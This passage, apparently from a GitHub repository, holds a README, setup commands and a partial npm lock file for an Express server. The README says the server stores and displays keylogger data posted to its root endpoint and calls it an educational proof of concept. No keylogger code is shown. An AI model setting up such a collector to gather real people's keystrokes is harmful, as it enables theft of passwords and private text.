├── README.md ├── commands.txt ├── package-lock.json ├── package.json ├── server.js └── setup.py /README.md: -------------------------------------------------------------------------------- 1 | # Very Basic Express Server with a Resource for Logging Keystrokes 2 | 3 | ## This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purposes and to create awareness! 4 | 5 | ## This is a proof of concept and could be improved on in a lot of ways. 6 | 7 | 1. To run this code use `git clone https://github.com/davidbombal/express-server-basic.git` 8 | 2. Run the command `cd/express-server-keylogger-basic` 9 | 3. Run the command `python3 setup.py`. This will do the basic setup on the Ubuntu server. It will install NodeJS, Node Package Manager (NPM) and also install all the modules required such as the Express web framework, the body-parser middleware used by Express. 10 | 4. Run the command `node server.js` to start the server on port ***8080*** 11 | 12 | You can use the GET and POST methods on the "/" endpoint. 13 | - GET will show the keylogger data written to the server, with every page refresh. 14 | - POST will write the data with the body 15 | `{ 16 | keyboardData: 17 | }` 18 | 19 | This is a little bare bones project that shows with little effort how powerful a few lines of server side JavaScript using Node can be. It can be improved with the addition of a database such as MongoDB paired with a module such as Mongoose (To validate and structure API input). Also, the addition of update, and remove operations would be quite easy to implement. I also didn't implement good exception handling for this project. 20 | -------------------------------------------------------------------------------- /commands.txt: -------------------------------------------------------------------------------- 1 | sudo apt update 2 | sudo apt upgrade 3 | sudo apt install nodejs 4 | sudo apt install npm 5 | sudo npm init -y 6 | sudo npm install 7 | sudo reboot 8 | -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "my-express-server", 3 | "version": "1.0.0", 4 | "lockfileVersion": 2, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "my-express-server", 9 | "version": "1.0.0", 10 | "license": "ISC", 11 | "dependencies": { 12 | "body-parser": "^1.20.0", 13 | "express": "^4.18.1" 14 | } 15 | }, 16 | "node_modules/accepts": { 17 | "version": "1.3.8", 18 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", 19 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", 20 | "dependencies": { 21 | "mime-types": "~2.1.34", 22 | "negotiator": "0.6.3" 23 | }, 24 | "engines": { 25 | "node": ">= 0.6" 26 | } 27 | }, 28 | "node_modules/array-flatten": { 29 | "version": "1.1.1", 30 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 31 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" 32 | }, 33 | "node_modules/body-parser": { 34 | "version": "1.20.0", 35 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", 36 | "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", 37 | "dependencies": { 38 | "bytes": "3.1.2", 39 | "content-type": "~1.0.4", 40 | "debug": "2.6.9", 41 | "depd": "2.0.0", 42 | "destroy": "1.2.0", 43 | "http-errors": "2.0.0", 44 | "iconv-lite": "0.4.24", 45 | "on-finished": "2.4.1", 46 | "qs": "6.10.3", 47 | "raw-body": "2.5.1", 48 | "type-is": "~1.6.18", 49 | "unpipe": "1.0.0" 50 | }, 51 | "engines": { 52 | "node": ">= 0.8", 53 | "npm": "1.2.8000 || >= 1.4.16" 54 | } 55 | }, 56 | "node_modules/bytes": { 57 | "version": "3.1.2", 58 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", 59 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", 60 | "engines": { 61 | "node": ">= 0.8" 62 | } 63 | }, 64 | "node_modules/call-bind": { 65 | "version": "1.0.2", 66 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", 67 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", 68 | "dependencies": { 69 | "function-bind": "^1.1.1", 70 | "get-intrinsic": "^1.0.2" 71 | }, 72 | "funding": { 73 | "url": "https://github.com/sponsors/ljharb" 74 | } 75 | }, 76 | "node_modules/content-disposition": { 77 | "version": "0.5.4", 78 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", 79 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", 80 | "dependencies": { 81 | "safe-buffer": "5.2.1" 82 | }, 83 | "engines": { 84 | "node": ">= 0.6" 85 | } 86 | }, 87 | "node_modules/content-type": { 88 | "version": "1.0.4", 89 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 90 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", 91 | "engines": { 92 | "node": ">= 0.6" 93 | } 94 | }, 95 | "node_modules/cookie": { 96 | "version": "0.5.0", 97 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", 98 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", 99 | "engines": { 100 | "node": ">= 0.6" 101 | } 102 | }, 103 | "node_modules/cookie-signature": { 104 | "version": "1.0.6", 105 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 106 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" 107 | }, 108 | "node_modules/debug": { 109 | "version": "2.6.9", 110 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 111 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 112 | "dependencies": { 113 | "ms": "2.0.0" 114 | } 115 | }, 116 | "node_modules/depd": { 117 | "version": "2.0.0", 118 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", 119 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", 120 | "engines": { 121 | "node": ">= 0.8" 122 | } 123 | }, 124 | "node_modules/destroy": { 125 | "version": "1.2.0", 126 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", 127 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", 128 | "engines": { 129 | "node": ">= 0.8", 130 | "npm": "1.2.8000 || >= 1.4.16" 131 | } 132 | }, 133 | "node_modules/ee-first": { 134 | "version": "1.1.1", 135 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 136 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" 137 | }, 138 | "node_modules/encodeurl": { 139 | "version": "1.0.2", 140 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 141 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", 142 | "engines": { 143 | "node": ">= 0.8" 144 | } 145 | }, 146 | "node_modules/escape-html": { 147 | "version": "1.0.3", 148 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 149 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" 150 | }, 151 | "node_modules/etag": { 152 | "version": "1.8.1", 153 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 154 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", 155 | "engines": { 156 | "node": ">= 0.6" 157 | } 158 | }, 159 | "node_modules/express": { 160 | "version": "4.18.1", 161 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", 162 | "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", 163 | "dependencies": { 164 | "accepts": "~1.3.8", 165 | "array-flatten": "1.1.1", 166 | "body-parser": "1.20.0", 167 | "content-disposition": "0.5.4", 168 | "content-type": "~1.0.4", 169 | "cookie": "0.5.0", 170 | "cookie-signature": "1.0.6", 171 | "debug": "2.6.9", 172 | "depd": "2.0.0", 173 | "encodeurl": "~1.0.2", 174 | "escape-html": "~1.0.3", 175 | "etag": "~1.8.1", 176 | "finalhandler": "1.2.0", 177 | "fresh": "0.5.2", 178 | "http-errors": "2.0.0", 179 | "merge-descriptors": "1.0.1", 180 | "methods": "~1.1.2", 181 | "on-finished": "2.4.1", 182 | "parseurl": "~1.3.3", 183 | "path-to-regexp": "0.1.7", 184 | "proxy-addr": "~2.0.7", 185 | "qs": "6.10.3", 186 | "range-parser": "~1.2.1", 187 | "safe-buffer": "5.2.1", 188 | "send": "0.18.0", 189 | "serve-static": "1.15.0", 190 | "setprototypeof": "1.2.0", 191 | "statuses": "2.0.1", 192 | "type-is": "~1.6.18", 193 | "utils-merge": "1.0.1", 194 | "vary": "~1.1.2" 195 | }, 196 | "engines": { 197 | "node": ">= 0.10.0" 198 | } 199 | }, 200 | "node_modules/finalhandler": { 201 | "version": "1.2.0", 202 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", 203 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", 204 | "dependencies": { 205 | "debug": "2.6.9", 206 | "encodeurl": "~1.0.2", 207 | "escape-html": "~1.0.3", 208 | "on-finished": "2.4.1", 209 | "parseurl": "~1.3.3", 210 | "statuses": "2.0.1", 211 | "unpipe": "~1.0.0" 212 | }, 213 | "engines": { 214 | "node": ">= 0.8" 215 | } 216 | }, 217 | "node_modules/forwarded": { 218 | "version": "0.2.0", 219 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", 220 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", 221 | "engines": { 222 | "node": ">= 0.6" 223 | } 224 | }, 225 | "node_modules/fresh": { 226 | "version": "0.5.2", 227 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 228 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", 229 | "engines": { 230 | "node": ">= 0.6" 231 | } 232 | }, 233 | "node_modules/function-bind": { 234 | "version": "1.1.1", 235 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", 236 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" 237 | }, 238 | "node_modules/get-intrinsic": { 239 | "version": "1.1.2", 240 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.2.tgz", 241 | "integrity": "sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==", 242 | "dependencies": { 243 | "function-bind": "^1.1.1", 244 | "has": "^1.0.3", 245 | "has-symbols": "^1.0.3" 246 | }, 247 | "funding": { 248 | "url": "https://github.com/sponsors/ljharb" 249 | } 250 | }, 251 | "node_modules/has": { 252 | "version": "1.0.3", 253 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", 254 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", 255 | "dependencies": { 256 | "function-bind": "^1.1.1" 257 | }, 258 | "engines": { 259 | "node": ">= 0.4.0" 260 | } 261 | }, 262 | "node_modules/has-symbols": { 263 | "version": "1.0.3", 264 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", 265 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", 266 | "engines": { 267 | "node": ">= 0.4" 268 | }, 269 | "funding": { 270 | "url": "https://github.com/sponsors/ljharb" 271 | } 272 | }, 273 | "node_modules/http-errors": { 274 | "version": "2.0.0", 275 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", 276 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", 277 | "dependencies": { 278 | "depd": "2.0.0", 279 | "inherits": "2.0.4", 280 | "setprototypeof": "1.2.0", 281 | "statuses": "2.0.1", 282 | "toidentifier": "1.0.1" 283 | }, 284 | "engines": { 285 | "node": ">= 0.8" 286 | } 287 | }, 288 | "node_modules/iconv-lite": { 289 | "version": "0.4.24", 290 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", 291 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", 292 | "dependencies": { 293 | "safer-buffer": ">= 2.1.2 < 3" 294 | }, 295 | "engines": { 296 | "node": ">=0.10.0" 297 | } 298 | }, 299 | "node_modules/inherits": { 300 | "version": "2.0.4", 301 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 302 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 303 | }, 304 | "node_modules/ipaddr.js": { 305 | "version": "1.9.1", 306 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", 307 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", 308 | "engines": { 309 | "node": ">= 0.10" 310 | } 311 | }, 312 | "node_modules/media-typer": { 313 | "version": "0.3.0", 314 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 315 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", 316 | "engines": { 317 | "node": ">= 0.6" 318 | } 319 | }, 320 | "node_modules/merge-descriptors": { 321 | "version": "1.0.1", 322 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 323 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" 324 | }, 325 | "node_modules/methods": { 326 | "version": "1.1.2", 327 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 328 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", 329 | "engines": { 330 | "node": ">= 0.6" 331 | } 332 | }, 333 | "node_modules/mime": { 334 | "version": "1.6.0", 335 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", 336 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", 337 | "bin": { 338 | "mime": "cli.js" 339 | }, 340 | "engines": { 341 | "node": ">=4" 342 | } 343 | }, 344 | "node_modules/mime-db": { 345 | "version": "1.52.0", 346 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 347 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 348 | "engines": { 349 | "node": ">= 0.6" 350 | } 351 | }, 352 | "node_modules/mime-types": { 353 | "version": "2.1.35", 354 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 355 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 356 | "dependencies": { 357 | "mime-db": "1.52.0" 358 | }, 359 | "engines": { 360 | "node": ">= 0.6" 361 | } 362 | }, 363 | "node_modules/ms": { 364 | "version": "2.0.0", 365 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 366 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" 367 | }, 368 | "node_modules/negotiator": { 369 | "version": "0.6.3", 370 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", 371 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", 372 | "engines": { 373 | "node": ">= 0.6" 374 | } 375 | }, 376 | "node_modules/object-inspect": { 377 | "version": "1.12.2", 378 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz", 379 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==", 380 | "funding": { 381 | "url": "https://github.com/sponsors/ljharb" 382 | } 383 | }, 384 | "node_modules/on-finished": { 385 | "version": "2.4.1", 386 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", 387 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", 388 | "dependencies": { 389 | "ee-first": "1.1.1" 390 | }, 391 | "engines": { 392 | "node": ">= 0.8" 393 | } 394 | }, 395 | "node_modules/parseurl": { 396 | "version": "1.3.3", 397 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", 398 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", 399 | "engines": { 400 | "node": ">= 0.8" 401 | } 402 | }, 403 | "node_modules/path-to-regexp": { 404 | "version": "0.1.7", 405 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 406 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" 407 | }, 408 | "node_modules/proxy-addr": { 409 | "version": "2.0.7", 410 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", 411 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", 412 | "dependencies": { 413 | "forwarded": "0.2.0", 414 | "ipaddr.js": "1.9.1" 415 | }, 416 | "engines": { 417 | "node": ">= 0.10" 418 | } 419 | }, 420 | "node_modules/qs": { 421 | "version": "6.10.3", 422 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", 423 | "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", 424 | "dependencies": { 425 | "side-channel": "^1.0.4" 426 | }, 427 | "engines": { 428 | "node": ">=0.6" 429 | }, 430 | "funding": { 431 | "url": "https://github.com/sponsors/ljharb" 432 | } 433 | }, 434 | "node_modules/range-parser": { 435 | "version": "1.2.1", 436 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", 437 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", 438 | "engines": { 439 | "node": ">= 0.6" 440 | } 441 | }, 442 | "node_modules/raw-body": { 443 | "version": "2.5.1", 444 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", 445 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", 446 | "dependencies": { 447 | "bytes": "3.1.2", 448 | "http-errors": "2.0.0", 449 | "iconv-lite": "0.4.24", 450 | "unpipe": "1.0.0" 451 | }, 452 | "engines": { 453 | "node": ">= 0.8" 454 | } 455 | }, 456 | "node_modules/safe-buffer": { 457 | "version": "5.2.1", 458 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 459 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", 460 | "funding": [ 461 | { 462 | "type": "github", 463 | "url": "https://github.com/sponsors/feross" 464 | }, 465 | { 466 | "type": "patreon", 467 | "url": "https://www.patreon.com/feross" 468 | }, 469 | { 470 | "type": "consulting", 471 | "url": "https://feross.org/support" 472 | } 473 | ] 474 | }, 475 | "node_modules/safer-buffer": { 476 | "version": "2.1.2", 477 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 478 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 479 | }, 480 | "node_modules/send": { 481 | "version": "0.18.0", 482 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", 483 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", 484 | "dependencies": { 485 | "debug": "2.6.9", 486 | "depd": "2.0.0", 487 | "destroy": "1.2.0", 488 | "encodeurl": "~1.0.2", 489 | "escape-html": "~1.0.3", 490 | "etag": "~1.8.1", 491 | "fresh": "0.5.2", 492 | "http-errors": "2.0.0", 493 | "mime": "1.6.0", 494 | "ms": "2.1.3", 495 | "on-finished": "2.4.1", 496 | "range-parser": "~1.2.1", 497 | "statuses": "2.0.1" 498 | }, 499 | "engines": { 500 | "node": ">= 0.8.0" 501 | } 502 | }, 503 | "node_modules/send/node_modules/ms": { 504 | "version": "2.1.3", 505 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", 506 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" 507 | }, 508 | "node_modules/serve-static": { 509 | "version": "1.15.0", 510 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", 511 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", 512 | "dependencies": { 513 | "encodeurl": "~1.0.2", 514 | "escape-html": "~1.0.3", 515 | "parseurl": "~1.3.3", 516 | "send": "0.18.0" 517 | }, 518 | "engines": { 519 | "node": ">= 0.8.0" 520 | } 521 | }, 522 | "node_modules/setprototypeof": { 523 | "version": "1.2.0", 524 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", 525 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" 526 | }, 527 | "node_modules/side-channel": { 528 | "version": "1.0.4", 529 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", 530 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", 531 | "dependencies": { 532 | "call-bind": "^1.0.0", 533 | "get-intrinsic": "^1.0.2", 534 | "object-inspect": "^1.9.0" 535 | }, 536 | "funding": { 537 | "url": "https://github.com/sponsors/ljharb" 538 | } 539 | }, 540 | "node_modules/statuses": { 541 | "version": "2.0.1", 542 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", 543 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", 544 | "engines": { 545 | "node": ">= 0.8" 546 | } 547 | }, 548 | "node_modules/toidentifier": { 549 | "version": "1.0.1", 550 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", 551 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", 552 | "engines": { 553 | "node": ">=0.6" 554 | } 555 | }, 556 | "node_modules/type-is": { 557 | "version": "1.6.18", 558 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", 559 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", 560 | "dependencies": { 561 | "media-typer": "0.3.0", 562 | "mime-types": "~2.1.24" 563 | }, 564 | "engines": { 565 | "node": ">= 0.6" 566 | } 567 | }, 568 | "node_modules/unpipe": { 569 | "version": "1.0.0", 570 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 571 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", 572 | "engines": { 573 | "node": ">= 0.8" 574 | } 575 | }, 576 | "node_modules/utils-merge": { 577 | "version": "1.0.1", 578 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 579 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", 580 | "engines": { 581 | "node": ">= 0.4.0" 582 | } 583 | }, 584 | "node_modules/vary": { 585 | "version": "1.1.2", 586 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 587 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", 588 | "engines": { 589 | "node": ">= 0.8" 590 | } 591 | } 592 | }, 593 | "dependencies": { 594 | "accepts": { 595 | "version": "1.3.8", 596 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", 597 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", 598 | "requires": { 599 | "mime-types": "~2.1.34", 600 | "negotiator": "0.6.3" 601 | } 602 | }, 603 | "array-flatten": { 604 | "version": "1.1.1", 605 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 606 | "integrity": 